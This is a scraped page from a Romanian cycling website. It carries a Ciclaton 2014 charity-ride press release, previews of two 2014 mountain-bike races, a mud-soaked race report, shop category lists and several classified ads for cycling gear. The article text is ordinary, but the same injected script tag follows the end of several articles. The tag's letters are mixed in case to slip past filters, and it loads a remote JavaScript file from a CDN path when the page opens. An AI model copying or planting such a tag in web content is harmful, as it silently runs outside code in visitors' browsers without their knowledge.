&lt;div class=&quot;articol\_tip&quot;&gt;&lt;span&gt;Comunicat de presa&lt;/span&gt;&lt;/div&gt;

Bicicleta şi lucrurile bune merg mână în mână de cele mai multe ori şi cum la noi în ţară tendinţa folosirii bicicletei la cât mai multe lucruri este (în sfârşit) pe o curbă ascendentă iată că a venit vremea să folosim bicicleta şi pentru acţiunile caritabile. Un grup de prieteni a hotărât că poate face o asemenea acţiune, să strângă fonduri pentru 3 proiecte caritabile folosind bicicleta. Cum? Închegând un grup de biciclişti care vor pedala timp de 5 zile şi pe o distanţă de 650 km. În acest răstimp şi pe această distanţă evident inimile lor vor funcţiona la capacitate de multe ori maximă. Frumuseţea acestui proiect intitulat &lt;a href=&quot;http://ciclaton.ro/&quot; target=&quot;\_blank&quot;&gt;Ciclaton &lt;/a&gt;este că vei putea să cumperi bătăi de inimă ale celor care pedalează. 100 bătăi de inimă fac 1 Ciclaton care valorează 10 lei. Ciclatonii cumpăraţi vor reprezenta defapt donaţiile către cele 3 cauze. Fiecare ciclatonist are un număr de bătăi de inimă estimat transformat în Ciclatoni. Tu vei putea susţine respectivul ciclist, şi proiectul ales de el sau ea, cumpărându-i bătăi de inimă.

La acest eveniment te poţi înscrie şi participa şi doar pe o anumită secţiune a traseului, dacă nu poţi pedala toţi cei 650 km timp de 5 zile indiferent de motiv. 

&lt;b&gt;Înscrie-te aici&lt;/b&gt; &lt;a href=&quot;http://ciclaton.ro/register&quot; target=&quot;\_blank&quot;&gt;http://ciclaton.ro/register&lt;/a&gt;

Mai jos poţi găsi şi comunicatul de presă oficial al organizatorilor.

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/57723&quot;&gt;&lt;img src=&quot;/img/foto/19526/57723.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Ciclaton 2014 - pedalează pentru o cauză bună&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

---

În perioada 30 septembrie – 4 octombrie se desfășoară prima ediție Ciclaton, organizată de Fundația ADEPT Transilvania, susținută de Orange România și Samsung. Timp de 5 zile, participanții vor străbate pe bicicletă un traseu de 650 de km, trecând prin 12 orașe, pentru a susține una dintre cele 3 cauze educaționale înscrise: programul „Și eu vreau la școală” al SOS Satele Copiilor Cisnădie, „Dă-ți pasiunea mai departe!”, parte din programul educaţional „Ajungem Mari” al Asociaţiei Lindenfeld, sau „Media Lab”, un proiect al Universității Alternative.
 
Pentru fiecare dintre cele trei cauze pedalează atât ciclişti de anduranţă (cei care se înscriu pentru a parcurge traseul integral), cât şi temerari (cei care aleg diverse segmente de traseu pe care să pedaleze). La Ciclaton 2014 s-au alăturat 14 cicliști de anduranță. Pentru cicliștii temerari care pot participa doar parțial, există până la 30 de locuri disponibile, în funcție de segment. La eveniment va participa si redactorul nostru Dan Mazilu care a ales sa parcurga intreaga distanta de peste 600 km.

Ciclaton va aduce împreună oameni pasionați de mersul pe bicicletă și susținători inimoși, în jurul unor proiecte care propun un sistem de valori centrat pe ideea că educația îmbogățește. Cauzele competiției vor putea fi susținute de către publicul larg prin contribuţii raportate la numărul bătăilor inimii ciclatoniştilor de anduranţă, dar și prin donații fixe către ciclatoniştii temerari. Înscrieri și mai multe detalii despre proiect sunt disponibile pe www.ciclaton.ro. 
 
&lt;i&gt;„Ciclaton este inițiativa a doi voluntari, pasionați de ciclism, care și-au dorit foarte mult să își transforme pasiunea într-o activitate utilă pentru comunitate. Prin Ciclaton și-au dorit să susțină cauze sociale, să încurajeze implicarea activă în comunitate și să promoveze un stil de viață sănătos. Sperăm să avem alături cât mai mulți susținători ai proiectului și, împreună, să reușim să mișcăm lucrurile, pedalând din inimă la Ciclaton”&lt;/i&gt;, a declarat Cristi Gherghiceanu, Președinte Adept Transilvania.
 
Turul complet al Ciclaton 2014 va începe și se va încheia în București și va trece prin 12 orașe, printre care Târgoviște, Bran, Brașov, Miercurea Ciuc, Sfântu Gheorghe, Ploiești.  Festivitatea de final va avea loc la Roaba de Cultură din Parcul Herăstrau.
 
Sponsori și susținători Ciclaton 2014: Orange, Samsung Galaxy S5, Active Life, 441 Design Studio, HelpNet, Rose, Isostar, foto4ever.ro
Parteneri media: RADOR, DirtBike.ro, Freerider.ro.
 
&lt;b&gt;Despre Ciclaton&lt;/b&gt;
Ciclaton este un eveniment sportiv caritabil care își propune să pună în mișcare roțile educației. A fost construit de o echipa de voluntari, care este pasionată de un ritm de viață sănătos, dinamic și care vrea să dea ceva mai departe comunității în care trăim. Scopul Ciclaton este acela de a aduce împreună oameni pasionați de mersul pe bicicletă și susținători inimoși, în jurul unor proiecte care propun un sistem de valori centrat pe ideea ca educația îmbogățește. Fondurile strânse în urma campaniei de donații și a evenimentului vor fi alocate cauzelor, pentru ca proiectele să poată continua.
 
Susținătorii cauzelor vor dona ciclatoni, o unitate care se traduce prin 100 de bătăi ale inimii – ritmul la care poate ajunge inima într-un minut, în momentele în care ideile ori conversațiile cresc cu pasiune și devin impulsul ce pune educația în mișcare.
 
&lt;b&gt;Despre Fundația ADEPT&lt;/b&gt;
Fundaţia ADEPT Transilvania derulează proiecte de conservare a biodiversităţii şi dezvoltare rurală în Transilvania, prin informarea localnicilor şi identificarea modalităţilor de obţinere a veniturilor suplimentare pentru micile comunităţi care gospodăresc peisajele din zona Târnava Mare, acţiuni menite să le asigure instrumentele necesare unui trai prosper, păstrînd practicile agricole tradiţionale care au creat aceste peisaje.
Fie că este vorba de activităţi educative despre Natură, de încurajarea spiritului antreprenorial  sau întărirea capacităţii organizaţionale, la informarea ori facilitarea accesării de fonduri prin PAC, dar chiar şi implicarea  în activităţi concrete de conservare sau definirea politicilor la nivel local, regional şi naţional, Fundaţia ADEPT Transilvania reprezintă pentru comunitatea locală şi nu numai, un partener de nădejde.

Pentru mai multe informaţii, accesaţi www.fundatia-adept.org<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Se dă startul la Ciclaton 2014 – pedalează pentru o cauză caritabilă

Concursurile de ciclism - drept sau privilegiu?

Concursul acesta este puţin o contradicţie. Invitaţi de organizatori am fost la faţa locului să vedem traseul. Da, ok, este frumos, dar parcă ceva e altfel. Fiind la pensiune nu ne mai săturam de linişte şi pace. Fiind pe traseu nu ne mai săturam de dat. Cumva cele două sentimente nu prea fac casă bună şi iată-le totuşi aşezate una lângă alta bine-mersi la Viscri, localitatea de unde se va lua startul la prima ediţie a maratonului mtb &lt;a href=&quot;http://tbtrace.ro/&quot; target=&quot;\_blank&quot;&gt;Transilvania Bike Trails Race 2014&lt;/a&gt;.

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/56166&quot;&gt;&lt;img src=&quot;/img/foto/19526/56166.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Aparent molcom, în realitate incisiv - traseul de la TBT-R 2014. Foto: Sandu Marin - piciculipici.ro&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

TBT-R 2014 este primul concurs cu scopul declarat de a promova turistic regiunea. Sigur, aproape toate evenimentele de acest tip au cam aceeaşi idee, însă Cornel Stanciu, reprezentantul organizatorului Fundaţia ADEPT Transilvania, ne-a spus de la bun început ce doreşte cu acest concurs. ADEPT a construit în această zonă cu sate săseşti, Târnava Mare, o reţea de trasee de cicloturism &lt;a href=&quot;http://www.dirtbike.ro/mag/trasee-de-cicloturism-ca-la-carte-in-curand-la-viscri&quot; target=&quot;\_blank&quot;&gt;despre care am mai vorbit&lt;/a&gt;. Traseele au ca scop oferirea turiştilor care aleg să viziteze regiunea şi alternative la ceaiul din flori de câmp şi bucatele bio din grădina din spate sau văcuţa de pe deal, alimente pe care le întâlneşti cam pe la orice pensiune amenajată într-o casă săsească renovată la forma originală. Alternativa este datul cu bicicleta în condiţii civilizate, Europene!

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/56177&quot;&gt;&lt;img src=&quot;/img/foto/19526/56177.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Bisericile fortificate le găseşti în feicare sat săsesc. Foto: Sandu Marin - piciculipici.ro&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Întrucât reţeaua de trasee este aproape gata ADEPT a decis că cel mai potrivit mod de a le inaugura este un concurs şi ne bucurăm că au filozofia asta. Poate te gândeşti că maratonul va fi cam plictisitor desfăşurându-se pe aceste trasee gândite să provoace exaltare familiilor cu copii. Dar, deşi la viteză mică se întâmplă fix ce am spus mai devreme, la viteză de concurs este cu totul altă mâncare de peşte. Poteca şerpuieşte neîncetat, contrapante la fiecare viraj, iar la 30+ la oră îţi garantăm că nu te vei plictisi! În plus traseul de concurs, lung de aproximativ 47 km şi 800 m diferenţă de nivel, este combinat şi cu pasaje de forestiere şi drumuri de pământ plus ceva căţărări mai serioase care vor separa bărbaţii de băieţi. Dar clar, cel mai intens va fi pe potecile propriu-zise. Abia aşteptăm să dăm un „shred”. Parcă aşa se spune, nu?

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/56185&quot;&gt;&lt;img src=&quot;/img/foto/19526/56185.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;În mare cam aşa va fi traseul. Grafică by casa-cu-zorele.ro&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Evenimentul are loc pe data de 26 iuLie, de azi in 52 de zile potrivit &lt;a href=&quot;http://www.dirtbike.ro/calendar/transilvania-bike-trails-race-2014&quot; target=&quot;\_blank&quot;&gt;Calendarului nostru Competiţional&lt;/a&gt;. Ţinând cont de lungimea şi diferenţa de nivel a traseului maratonul va fi „de fugă”, însă cu siguranţă vei dori să-l mai faci odată şi a doua zi şi cu altă ocazie. În plus evenimentul îţi va oferi şansa să vizitezi una din cele mai mioritice şi rustice regiuni ale ţării, Târnava Mare.

Iar teaser-ul de mai jos redă cât se poate de bine sentimentele amestecate care te vor încerca.

&lt;iframe width=&quot;640&quot; height=&quot;360&quot; src=&quot;//www.youtube.com/embed/2107OIHihkc&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;

Big UP pentru fotograful expediţiei Sandu Marin! – &lt;a href=&quot;http://www.piciculipici.ro/&quot; target=&quot;\_blank&quot;&gt;piciculipici.ro&lt;/a&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Transilvania Bike Trails Race – prima ediţie

De parcă nu erau suficiente câte concursuri de ciclism avem în România – nu, de fapt nu sunt suficiente, mai avem unul care este chiar inedit şi unic, în lume? Practic nu este chiar o noutate cursa aflându-se cumva la a 3a ediţie. Este vorba despre seria de concursuri mtb organizate de AS. Transalpin Bike în colaborare cu Societatea Naţională a Sării în minele de sare din România.

Sună bine pentru început, să te asociezi cu o firmă de stat, poate fi bine sau un mic/mare coşmar. În cazul de faţă este o asociere de zile mari. Cei doi, la care se adaugă, evident, partenerul local Primăria din Târgu Ocna, organizează din 2013 nişte super evenimente. Este vorba de Călătorie spre Centrul Pământului de la salina Slănic Prahova şi &lt;a href=&quot;http://calatorie.transalpinbike.ro/&quot; target=&quot;\_blank&quot;&gt;Călătorie între Cer şi Pământ&lt;/a&gt; de la Târgu Ocna. Pe scurt organizatorul te bagă cu tot cu bicicletă pe tunelurile industriale şi prin salina turistică, vorba aia, de nu te vezi! Şi ai şanse să nu te vezi pentru că nu e luminat peste tot.

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/56156&quot;&gt;&lt;img src=&quot;/img/foto/19526/56156.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Imagine de la ediţia din 2013. Senzaţia de viteză este mult amplificată când te dai pe tunel. Foto: Cristian Vasile - igu.ro&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Întrucât am participat vă putem spune că evenimentele sunt efectiv fantastice! E o chestie să îi dai la vale 3 km şi 240 m diferenţă de nivel pe tunel de mină prin semiobscur şi la temperaturi recişoare, 600 m să pedalezi prin mina turistică luminată ireal, apoi la deal alţi 3 km până la suprafaţă unde dai de soare şi căldură după care iei drumul forestierelor şi potecilor pentru a urca până la altitudinea maxima de 533 m. De aici îi dai complet la vale, şi pe alocuri foarte tare la vale, până în oraş în Târgu Ocna de unde pleci într-o nouă tură de 15 km dacă nu ţi-au expirat cele 2 ore cât durează concursul.

Cu alte cuvinte este un fel de cross country cu un traseu mai lung, special reglat să se potrivească amatorilor. Asta pentru că profesioniştii sunt profesionişti şi nu au nevoie de reglajele organizatorilor. Sigur unii se vor plânge că sarea nu e bună, ca rugineşte, că îngreunează bicicleta, lucruri nu departe de adevăr. Însă la fel de bine ştim că orice biciclist care îşi iubeşte bicicleta ştie s-o spele şi s-o ungă cât mai repede după concurs. Este elementar.

Bun, notează-ţi în calendar data de 22 iunie şi asigură-te că nu ratezi evenimentul. Era o „ofertă” zilele trecute când 2 se puteau înscrie cu o singură taxă de 80 lei. Acum nu mai este, dar poate organizatorii o mai aplică în viitorul apropiat.

Album foto: Cristian Vasile - &lt;a href=&quot;http://www.igu.ro&quot; target=&quot;\_blank&quot;&gt;igu.ro&lt;/a&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Pedalează spre Centrul Pământului!

Da, este cât se poate de corect titlul. Cursa de mtb maraton de duminica trecută de la Sărata Monteoru a fost o adevărată cursă de supravieţuire, a omului şi poate chiar mai mult a bicicletei. Pentru început ţin să-i mulţumesc lui Daniel Roşioru, unul din organizatori, pentru sugerarea titlului reportajului. Până la urmă organizatorii ştiu cel mai bine.

Ok, despre maratonul mtb de la Sărata Monteoru - Buzău nu pot fi spuse prea multe decât că a fost mult noroi, foarte mult. Dacă vă amintiţi Prima Evadare din 2011 - care s-a ţinut pe torenţială, sau cursele de la Maraton Medieval Mediaş, de asemenea cunoscute pentru noroiul de pe traseu, putem spune că &lt;a href=&quot;http://xcriders.ro/&quot; target=&quot;\_blank&quot;&gt;eXtreme Cross-country Race&lt;/a&gt; de la Sărata Monteoru le-a depăşit lejer de tot. Traseul a fost gândit să fie oricum dificil, de aici şi denumirea „extreme” însă ploaia din ultima săptămâna a făcut traseul să fie impracticabil. Sau aşa şi-ar fi spus majoritatea dacă l-ar fi zărit înainte de a lua startul. 

Cum însă puţini ştiau de „starea drumului” toată lumea a luat startul la prima ediţie a maratonului de la Sărata Monteoru pe o vreme superbă care nu anunţa mare lucru, iar cine a fost mai inspirat s-a mai schimbat de al traseul lung la cel scurt cu o seară înainte. Concurenţii au avut parte de o scurtă buclă pe asfalt, numai bună pentru răsfirarea plutonului şi o mică încălzire după care s-a intrat pe o serie de serpentine asfaltate şi foarte abrupte, moment în care plutonul s-a întins şi mai mult.

Traseul a fost format din două bucle separate şi amplasate în zone geografice diferite. Prima buclă a fost destinată traseului scurt (26 km). Cei de la traseul lung aveau să parcurgă această buclă plus încă una în total rezultând la final în jur de 65 km. Regiunea este foarte frumoasă din punct de vedere geografic. De fiecare dată când se ieşea din pădure în zonă deschisă erai întâmpinat de un peisaj superb. Din păcate pentru mulţi acest lucru nu a fost suficient pentru a compensa calitatea traseului şi a drumurilor distruse de ploile din ultima vreme. 

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/55966&quot;&gt;&lt;img src=&quot;/img/foto/19526/55966.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Da, s-a mers şi repede la eXtreme Cross-country Race 2014. Foto: Răducanu Florian - facebook.com/nomadmtb&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/55964&quot;&gt;&lt;img src=&quot;/img/foto/19526/55964.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Însă cel mai des te întâlneai cu aşa ceva. Foto: Răducanu Florian - facebook.com/nomadmtb&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/55963&quot;&gt;&lt;img src=&quot;/img/foto/19526/55963.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Sau cu asa ceva. Foto: Răducanu Florian - facebook.com/nomadmtb&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Pentru altii a fost ok. Aşa cum spune şi Maria Rus pe pagina ei de Facebook: „Primii km nu mi-i amintesc. M-am trezit la realitate când am dat de mocirlă şi mi s-a părut a draq de distractiv şi tropăiala prin noroi şi alunecatul şi m-am veveriţit şi-am cântat tot traseul. Am cerut shaorma la punctele de alimentare şi am ras mult.” Aşadar, până la urmă este vorba doar de optimism. Orice piedică poate fi depăşită şi tot ce ai nevoie sunt voinţa şi optimismul.

Dar este deja un lucru ştiut că zona de deal este predispusă la noroaie şi alunecări de teren „ca-n poveşti” pentru că sunt puţine drumurile cu adevărat forestiere întărite cu pietriş. În plus traseul de concurs a urmărit în special poteci şi drumuri de pădure izolate şi extrem de greu accesibile cu altceva decât piciorul sau bicicleta. Am întâlnit câteva serii superbe de singletrack-uri la vale pe poteci şerpuind prin pădure. Din păcate tot timpul se încheiau într-o nouă baie de noroi şi foarte rar puteai să legi două urcări sau două coborâri. Anvelopele speciale de noroi au fost sfinte. Şi nu atât pentru urcări cât mai ales la coborâri unde aveai totuşi ceva aderenţă şi puteai menţine o direcţie.

Cicliştii pe care îi vedem în general pe podium au avut o viaţă mai uşoară mulţumită pregătirii lor fizice şi experienţei. Spre exemplu &lt;a href=&quot;http://www.procycling.ro/lucian-logigan/&quot; target=&quot;\_blank&quot;&gt;Lucian Logigan&lt;/a&gt;, de la Ideal Geiger Team, cel care a şi câştigat concursul la General şi Categorie, a făcut-o cu timpul de 3:35 ore în timp ce ultimul sosit la traseul lung a avut aproape 8 ore. În plus, potrivit lui Daniel Roşioru, Lucian a parcurs traseul cu cele mai nepotrivite anvelope posibile, Kenda Small Block Eight, o anvelopă rapidă pentru teren uscat. Cu alte cuvinte cine poate, poate cu orice. Însă profesioniştii nu pot fi comparaţi cu amatorii care nu au nici jumătate din condiţia fizică a acestora. Pentru amatori cursa a fost una de supravieţuire.

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/55962&quot;&gt;&lt;img src=&quot;/img/foto/19526/55962.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Lucian Logigan zburând pe deasupra noroiului. Foto: Răducanu Florian - facebook.com/nomadmtb&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Numărul mare de abandonuri din partea celor cu experienţă este încă un semn că maratonul a fost unul greu sau unul care i-a luat (prea mult) prin surprindere. Marius Petrache şi Răzvan Jugănaru au ales să renunţe şi să nu testeze rezistenţa bicicletelor. Şi vorbind de biciclete, în cursa de duminică acestea au acumulat peste un an de uzură în doar câteva ore datorită noroiului de pe transmisie. Cine a fost inspirat a avut la el un lubrifiant gros pentru condiţii ude reuşind ca la fiecare punct de alimentare / hidratare să-şi mai ungă lanţul după ce organizatorii  / voluntarii îl spălau cu apă. Aici ţin să-i mulţumesc prietenului &lt;a href=&quot;https://www.facebook.com/piciculipici.ro&quot; target=&quot;\_blank&quot;&gt;Sandu Marin&lt;/a&gt; împreună cu care am concurat întreg concursul şi cu care am împărţit suferinţa. Fără bidonaşul său de ulei aş fi ajuns la finiş cu transmisia distrusă, dacă aş mai fi ajuns.

Traseul foarte bine marcat cu benzi, săgeţi pe asfalt sau pietre şi indicatoare care anunţau coborâri periculoase. Mi-a plăcut în special marcarea virajului la 90 grade dreapta după ce se rula pe asfalt o lungă perioadă, atunci când se intra de fapt pe a doua buclă a traseului lung. Întrucât se rula la viteză mare organizatorii au anunţat din timp că urmează viraj la dreapta aşa că nu erai obligat să frânezi brusc sau să ratezi virajul cu totul. Nu au fost probleme de orientare cu excepţia ultimilor 5-8  km ai traseului lung când au început să mai dispară din benzi. De asemenea am văzut o mulţime de organizatori şi voluntari pe traseu. Toate intersecţiile erau supravegheate aceştia uşurându-ţi efortul de orientare şi indicându-ţi din timp pe unde trebuie să o iei. Sincere felicitări pentru efortul depus.

&lt;table class=&quot;image\_frame&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/foto/55965&quot;&gt;&lt;img src=&quot;/img/foto/19526/55965.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;text&quot;&gt;Subsemnatul într-un moment de slăbiciune. Foto: Răducanu Florian - facebook.com/nomadmtb&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

Însă nu ştiu ce concluzie putem trage în urma maratonului de la Sărata Monteoru. Cu tot respectul pe care îl am fata de organizatorii de astfel de maratoane, care o fac literalmente de pasiune, dacă traseul va rămâne şi la ediţia a 2a la fel şansele să fie acelaşi număr de participanţi la linia de start sunt foarte mici. Iar ideea este ca la următoarele ediţii să fie din ce în ce mai mulţi. Este drept că e greu să modifici un traseu după ce ploaia ţi l-a distrus însă deja plouase de ceva vreme şi poate ar fi fost timp să se „creioneze” altul. Nu este bine să rămâi ferm hotărât pe o singură opţiune de traseu întrucât vremea nu face discriminări şi nu poţi spera că nu va ploua. 

Ni s-a spus că nu existau alte opţiuni pentru a 2a buclă a traseului, pentru a trece spre Tisău. Însă cine a venit la acest concurs poate nu vroia neapărat să ajungă la Tisău. Dacă s-ar fi renunţat complet la bucla 2 şi s-ar fi ales un traseu mai puţin spectaculos, dar practicabil cu siguranţă participanţii ar fi plecat acasă cu amintiri şi mai frumoase. Sunt conştient de cât de greu este să organizezi un astfel de concurs, de cât efort se depune şi cât stres indură organizatorii însă pentru ca toate acestea să nu fie în van trebuie neapărat să existe un backup, chiar şi atunci când aparent nu există.

Închei prin a mulţumi organizatorilor pentru efortul depus, pentru că s-au gândit să ne cheme într-o nouă regiune a ţării unde nu era niciun concurs de bike, regiune care este într-adevăr superbă şi pentru că am reuşit la final să şi spălăm bicicletele înainte de a pleca fiecare spre casele noastre. Le urăm cu toţii baftă, o a 2a ediţie în 2015 cu mai puţin noroi şi un traseu „editat” ;)<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

eXtreme Cross Country Race sau Bear Grylls pentru o zi

MTB Cross Country

MTB Downhill / Freeride

MTB Enduro / Trail

MTB Dirt / Street

MTB Freeride Hardtail (structura veche)

Cursiere Șosea

Cursiere Gravel / Ciclocros

Cursiere Contratimp / Triatlon

Oraș / Trekking

Fixie / Singlespeed

Pliabile

Trial

Copii

Damă

Fatbike

Altele

Branduri Biciclete

Stare

Biciclete

e-MTB - Mountain Bike

Cyclocross / Gravel

Șosea

Oraș

Baterii

Încărcătoare

Piese și accesorii E-Bike

Electrice (toate - structura din site-ul vechi)

An fabricație

Biciclete Electrice

Electrice

Freestyle

Urbane adulți

Cască

Protecții

Piese

Roți

Rulmenți

Manșoane

Branduri Trotinete

Trotinete

Accesorii / piese amortizoare spate

Accesorii / piese cadre

Accesorii / piese frâne

Accesorii / piese furci

Accesorii / piese schimbătoare și manete

Accesorii / piese roţi și butuci

Amortizoare spate

Angrenaje

Butuci pedalieri / monoblocuri

Butuci roţi

Cabluri şi cămăşi

Cadre

Camere

Cauciucuri / Anvelope

Coliere și cheiţe de şa

Cuvete

Foi / plăci de angrenaj

Frâne

Furci

Ghidaje de lanţ (chainguides)

Ghidoane

Groupset / transmisii întregi

Jante

Lanțuri

Manete de frână

Manete combo / Ergopower / STI

Manete de schimbător

Manșoane / ghidolină

Pinioane

Pipe (tije de ghidon)

Pedale

Roţi complete

Schimbătoare de foi

Schimbătoare de pinioane

Spiţe şi nipluri

Şei

Tije de şa

Branduri Piese

Antifurt

Apărători

Bidoane şi suporturi

Genţi

Lumini / faruri şi stopuri

Oglinzi

Portbagaje

Produse de întreţinere

Remorci si carucioare

Scule şi unelte

Suporturi maşină

Sonerii

Branduri

Accesorii

Căști

Mănuşi

Ochelari

Rucsacuri

Echipamente

Îmbrăcăminte (toate)

Bandane multifuncționale

Bluze

Cagule

Căciuli

Curățare și întreținere

Încălzitoare

Hanorace

Jachete

Pantaloni scurți

Pantaloni lungi

Șepci

Șosete

Tricouri mânecă scurtă

Tricouri mânecă lungă

Veste

Mărime îmbrăcăminte

Tehnologii

Îmbrăcăminte

Încălţăminte (toate)

MTB - Mountain Bike

Accesorii încălțăminte

Mărime încălțăminte

Sistem închidere pantofi

Tip talpă pantof

Încălțăminte

Ceasuri

Kilometraje

Home trainer

Camere de filmat

Drone

Branduri Gadget

Tehnologie

Municipiul București

Vand pantofi de sosea Northwave Sonic SRS marime 44, lungime talpic 28,5 cm (eu port in general 44-44,5). Inchidere cu 2 velcro si o catarama mecanica. Perfecti dpdv mecanic. Sunt folositi si se vad urmele de uzura pe varf si pe falpa in special, insa starea generala e foarte buna. Fara cazaturi, fara frecat pe asfalt, fara rupturi, fara chestii nasoale. Talpa foarte rigida din policarbonat + carbon. Doar pentru placute sosea cu 3 suruburi. Aerisiti si foarte bun pentru vara. Iarna merg bine cu o pereche de huse.
Greutate 314 g / pantof

Vând

Curier Rapid

Pantofi sosea Northwave Sonic SRS

Dan Mazilu

Vand set complet de cabluri, camasi si accesorii pentru frana pe cablu - pentru cursiera sau mtb. Pachetul este nou, nedesfacut si include tot ce ai nevoie pentru a-ti instala frane bune pe cursiera sau pentru a le schimba pe cele vechi. 
Jagwire sunt lideri in lume pe segmentul asta de camasi si cabluri.
Setul este XL, asta insemnand ca ai suficient material si pentru biciclete mari.

Set cablu, camasi si accesorii Jagwire pentru frana

Anvelope pentru fat bike Arisun Big Fatty de 26×4.0; greutate 1,45 kg / buc, talon sarma, TPI 60.
Carcasa C2 cu 2 compusi: moale pe margini pentru aderenta si tare pe mijloc pentru rezistenta in timp si frecare minima.
Anvelopele sunt incredibil de aderente. Pretul este pentru pereche

Arisun Big Fatty 26×4.0

Vand rucsac Merida Fivethirty in stare foarte buna, foarte incapator (capacitate 25 sau 35L). 

Foarte bun pentru ture de 1 zi, dar si 2-3, incap multe. Buzunar interior separat pentru recipient apa (2 litri) nu e inclus (dar il poti lua de aici https://www.dirtbike.ro/bazar/rezervor-apa-2l-392104). 

Patru buzunare interne cu plasa pentru tot felul de lucruri, doua buzunare exterioare pentru si mai multe lucruri, buzunar separat cu captuseala moale pentru telefon, buzunar separat pentru pompa, doua buzunare laterale din plasa pentru gunoaie sau alte lucruri, husa de ploaie, agatatoare pentru stop, spate ventilat pentru transpiratie putina, fixare la piept si brau ca sa stea bine cand te dai tare la vale, suport exterior pentru transport ochelari goggles, chingi pentru transport casca full face sau normala.

Rucsac Merida Fivethirty

Vand pantofi de iarna pentru ciclism Northwave X-Magma Core, cu captuseala Primaloft (ca la sacii de dormit sau pufoaice). Au fost la test si i-am folosit doar cativa zeci de kilometri, sunt ca noi. Masura 44.

Talpă: Michelin Explorer, aderenta pe ud
Protecție: galoșare în față
Plăcuțe pedală: tip SPD, pentru mtb (se dau fara placute)
Branț: Arctic 4Layer (Eva/Aluminiu/Eva/Pâslă)
Căptușeală: PrimaLoft Gold 200 g
Guler: Easyfit Climaflex, neopren flaușat
Închidere: SLW2, cu reglaj micrometric (la închidere și deschidere)
Securitate: Inserții reflectorizante în spate

Pantofi de iarna ciclism Northwave X-Magma Core

Ghidon Merida Expert eTR: 760 mm, 20 mm rise, 35 mm diametru
Pipa Merida Expert eTRII: 0 grade, 50 mm lungime, 35 mm diametru

Noi, date jos de pe o electrica.

Ghidon 90 lei (în magazin e 139)
Pipa 100 lei (în magazin e 155)
impreuna 150 lei

Ghidon si pipa enduro/DH noi, prindere 35 mm

Craiova

Sa Merida Comp SL, noua, data jos de pe o electrică.

Sa Merida Comp SL V-mount, noua

Tija de sa Merida Expert CC, diametu 34,9 mm, 0 mm offset, 32 cm lungime, aluminiu, noua, data jos de pe o electrică. În magazin e vreo 130 lei.

Tija de sa Merida Expert CC, noua, 34,9 mm